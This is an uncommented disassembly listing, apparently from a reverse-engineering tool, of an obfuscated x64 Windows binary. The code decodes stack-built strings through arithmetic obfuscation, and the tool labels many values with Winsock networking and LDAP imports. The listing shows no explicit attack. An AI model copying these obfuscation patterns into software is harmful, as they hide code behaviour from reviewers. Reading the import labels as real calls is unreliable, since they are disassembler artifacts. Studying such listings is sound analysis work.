mov byte [rbp + 0xb91], 5
mov byte [rbp + recv92], 0xb
mov byte [rbp + 0xb93], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb94], 5
mov byte [rbp + 0xb95], 0xa9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb96], xmm0
mov qword [rbp + 0xba6], rax
mov dword [rbp + 0xbae], eax
mov byte [rbp + 0xbb2], al
movabs r14, 0x522fbf1260f7989a
movabs r15, 0xbdeaac81f44f84a2
movabs r13, 0x572dc2b122917936
movzx r10d, byte [rsp + 0x40]
movabs rdx, 0x4af5e5eae08cf3dc
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140077f80
movzx ebx, byte [rbp + rdi + 0xb90]
mov r11, rbx
cmp r8, rdi
ja 0x140077f77
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400775d3
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x36
jmp 0x1400775ff
je 0x140077edf
inc rax
cmp r8, rax
je 0x140077e88
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077e32
lea rax, [r9 + 9]
cmp r8, rax
je 0x140077dd6
nop
cmp r9, rdi
ja 0x140077f6e
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14007762d
lea r10, [rdi + r15]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6e
add r10b, bl
jmp 0x14007766d
lea rax, [r9 + 1]
cmp r8, rax
je 0x140077db1
inc rax
cmp r8, rax
je 0x140077d79
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077d10
lea rax, [r9 + 5]
cmp r8, rax
je 0x140077cce
lea rax, [r9 + 4]
cmp r8, rax
je 0x140077ca7
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140077938
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x140077915
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400778da
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400778a7
lea r8, [r9 + 0x20]
lea r9, [r8 + 9]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140077f46
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140077f23
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007771f
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400777d4
mov r8, rax
lea r9, [rax + 9]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400777b1
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007778e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140077766
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140077739
lea r8, [r9 + 2]
lea r9, [r8 + 0x5a]
jmp 0x140077680
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7a
jmp 0x1400775a4
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 4
inc r9
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0x15186f3316e0fdd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077e54
movabs rcx, 0x70b8f10e54f1cca4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
jmp 0x140077eab
movabs rcx, 0xcc5972e993029b70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x140077f03
movabs rcx, 0x444c3d1f685f0cd2
add rcx, rdi
movzx eax, cl
and al, bl
mov r10d, reloc.WLDAP32.dll_Ordinal_33
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140077c78
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140077a1e
movabs rdx, 0x956087611aff5cb2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x20
jae 0x140077c48
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140077b1d
movabs rdx, 0x534b33e30f4ee154
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x4c
add r10b, dl
cmp r9, 0x20
jb 0x140077c2e
movabs rdx, 0xbf062152a2a6cd5c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 8]
jmp 0x140077df4
movabs rcx, 0x9943162f2e41f494
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0xf4e3980a6c52c360
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rcx, 0x508419e5aa63922c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
jmp 0x140077df4
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14007795b
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x36
jmp 0x1400777f8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007798c
movabs rdx, 0x7bd55903e89f0944
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077f03
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400779bd
movabs rdx, 0xc494554d6c7d6bac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077e54
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400779ee
movabs rdx, 0xd535196f05bce14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077d57
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400777f8
movabs rcx, 0x9ed14a29f81892e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3c
jmp 0x140077df4
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140077a4a
movabs rcx, 0x39c00585dcee8de6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4a
jmp 0x140077df4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077a86
movabs rcx, 0x827f01cf60ccf04e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x22
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140077ab7
movabs rdx, 0xcb3dfe18e4ab52b6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077d57
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077ae8
movabs rdx, 0x13fcfa626889b51e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077e54
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140077839
movabs rdx, 0x5cbbf6abec681786
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077f03
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077b4e
movabs rdx, 0xf7aab207d13e1288
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077f03
inc rax
cmp r8, rax
jne 0x140077b79
movabs rcx, 0x8928aa9ad8fad758
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x140077d57
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140077baa
movabs rdx, 0x2d8828bf9aea088c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077be6
movabs rcx, 0xd1e7a6e45cd939c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077875
movabs rdx, 0x764725091ec86af4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
mov byte [rbp + rdi + 0xb90], r10b
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0x63659f776495fe90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xb90]
add r10b, dl
add r10b, bl
jmp 0x140077d32
movabs rdx, 0x7c51d9c26852fc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + rdi + 0xb90]
sub r10b, 0x5c
add r10b, dl
jmp 0x140077e54
movabs rdx, 0x3c871f8341d9dd0e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x62
add r10b, dl
jmp 0x140077e54
movabs rdx, 0x9827a15e7feaabda
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0x4f68a514fc0c4972
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1e
add r10b, dl
movabs rcx, 0xb5955e89c58d972a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x26
add bl, cl
add bl, r10b
mov byte [rbp + rdi + 0xb90], bl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0xab0926f03a1d183e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rdx, 0x624a2aa6b63eb5d6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077df4
movabs rcx, 0x198b2e5d3260536e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 2
movabs rdx, 0x1135e065039e65f6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb90], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
mov rbx, r11
movabs rcx, 0x3f4e3980a6c52c36
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
movabs rdx, 0x59f4dcae877cc85e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb90], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140077eab
movabs rcx, 0x9aeebb5be4d5fb02
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
movzx ebx, r11b
movabs rdx, 0xac249bc0e87460f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb90], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140077f03
movabs rdx, 0xf68f3d3722e6c9ce
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xb90]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x4af5e5eae08cf3dc
jmp 0x140077592
movabs rcx, 0xb2ce448c60a24802
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xe
jmp 0x140077590
movabs rdx, 0xe6ec6679eb316ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140077568
lea rcx, [rbp + 0x15a9308]
jmp 0x140077f87
lea rcx, [rbp + 0xd22ba2]
jmp 0x140077f87
lea rcx, [rbp + 0xb90]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140226010]
lea rcx, [rbp + 0x508]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0xbb8], 0x7c
mov byte [rbp + 0xbb9], 0x5b
mov byte [rbp + 0xbba], 0x47
mov byte [rbp + 0xbbb], 0x47
mov byte [rbp + 0xbbc], 0x59
mov byte [rbp + 0xbbd], 0x46
mov byte [rbp + 0xbbe], 0x52
mov byte [rbp + 0xbbf], 0x5e
mov byte [rbp + 0xbc0], 0x57
mov byte [rbp + 0xbc1], 0x57
mov byte [rbp + 0xbc2], 0xba
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbc3], xmm0
mov qword [rbp + 0xbd3], rax
movabs r14, 0x4e0bc34d37aace5e
movabs r15, 0x418acfc227523162
movabs r13, 0x958edeb8fbbd496
movzx r11d, byte [rsp + 0x40]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x1c18f0eb4bcb2e66
cmp rdi, 0x23
jae 0x140078cc3
movzx ebx, byte [rbp + rdi + 0xbb8]
mov r10, rbx
cmp r8, rdi
ja 0x140078cba
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007809c
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x36
jmp 0x1400780d5
je 0x140078c30
inc rax
cmp r8, rax
je 0x140078bc4
lea rax, [r9 + 2]
cmp r8, rax
je 0x140078b6a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078b0b
lea rax, [r9 + 8]
cmp r8, rax
je 0x140078ab8
cmp r9, rdi
ja 0x140078cb1
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140078103
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078150
lea rax, [r9 + 1]
cmp r8, rax
je 0x140078a98
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078a6f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078a3c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140078a14
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400789db
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400786cd
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400786b9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007868d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007865f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140078637
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078614
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400785dc
lea rcx, [r9 + 0x80]
cmp r8, rcx
je 0x1400785b9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140078585
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140078160
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140078c8e
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x140078c66
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140078315
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400782fb
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400782dc
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x140078529
lea rcx, [r9 + 8]
cmp r8, rcx
jb 0x1400784c7
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140078477
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x14007843e
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140078416
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400783f3
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400783bb
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140078398
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140078370
lea rcx, [r9 + 0x41]
cmp r8, rcx
ja 0x140078347
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140078160
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x140078160
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078150
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x1400780d5
movabs rdx, 0xd1270c14f82577ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x1c18f0eb4bcb2e66
jmp 0x14007806e
movabs rcx, 0xfffa56bc8e29b958
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
dec rdi
inc rdi
jmp 0x140078052
movabs rdx, 0xc7c874e5f6935c8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078b29
movabs rcx, 0x8f96930f5efcffc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140078b52
movabs rdx, 0x5764b138c766a2f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078052
movabs rcx, 0x1f32cf622fd04628
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x140078b91
movabs rdx, 0xe700ed8b9839e95c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078bec
movabs rdx, 0xaecf0bb500a38c90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
movabs rcx, 0xea207545ee1547c6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
cmp r9, 0x40
jb 0x14007896c
movabs rcx, 0x31effdc032f47ca4
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140078adb
movabs rdx, 0xb1ee936f567eeafa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x40
jae 0x14007897c
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400788ad
movabs rdx, 0xfffd2b5e4714dcac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078495
movabs rcx, 0x79bcb198bee88e2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400789ab
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400787e4
movabs rcx, 0xb1f168110f6a0e4e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
jmp 0x1400784ea
movabs rcx, 0xd44693cf4e00d634
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
movabs rcx, 0x63e2d0221ed41c9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140078b91
movabs rdx, 0x2bb0ee4b873dbfd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078052
movabs rcx, 0xf37f0c74efa76304
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x140078b52
movabs rdx, 0xbb4d2a9e58110638
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078b29
movabs rdx, 0x831b48c7c07aa96c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140078052
movabs rcx, 0x4ae966f128e44ca0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140078052
movabs rdx, 0x12b7851a914defd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140078ac7
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400786fe
movabs rdx, 0x1c18f0eb4bcb2e66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078547
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007873b
movabs rcx, 0x9c17869a6f559cbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
inc rax
cmp r8, rax
jne 0x14007876b
movabs rdx, 0xd449687106ebf988
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078bec
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078797
movabs rcx, 0xc7b4a479e825654
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140078b91
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400787c3
movabs rcx, 0x7cdf0df4cdaf0fec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140078b52
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140078547
movabs rdx, 0x5da6954f2c08831c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140078ac7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078801
movabs rdx, 0xea2349e7a7006b1a
mov ecx, Ordinal_41
jmp 0x140078ac7
inc rax
cmp r8, rax
jne 0x140078835
movabs rcx, 0x22552bbe3e96c7e6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
inc r9
dec rdi
inc rdi
jmp 0x140078052
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007886c
movabs rdx, 0x5a870d94d62d24b2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140078052
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400784ea
movabs rcx, 0xabb2589c63b3517a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
jne 0x1400788e3
movabs rcx, 0x382f0d34deab3978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007890f
movabs rcx, 0xa892d0e20dd7f310
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140078b91
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007894b
movabs rcx, 0xe0c4b2b8a56e4fdc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140078052
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078495
movabs rdx, 0xf9be1be99b5e1fd8
mov ecx, recv
jmp 0x140078ac7
mov byte [rbp + rdi + 0xbb8], r11b
inc rdi
jmp 0x140078052
movabs rdx, 0x6a21df96ca8ad970
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xbb8]
sub r11b, al
sub r11b, 0x10
add r11b, dl
add r11b, bl
jmp 0x140078b29
movabs rdx, 0xa253c16d6221363c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xbb8]
add r11b, dl
add r11b, bl
jmp 0x140078b91
movabs rdx, 0x47ccb3d88bf4118a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbb8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140078052
movabs rdx, 0xd768f02b5cc757f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140078b91
movabs rcx, 0x9f370e54c530fb26
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
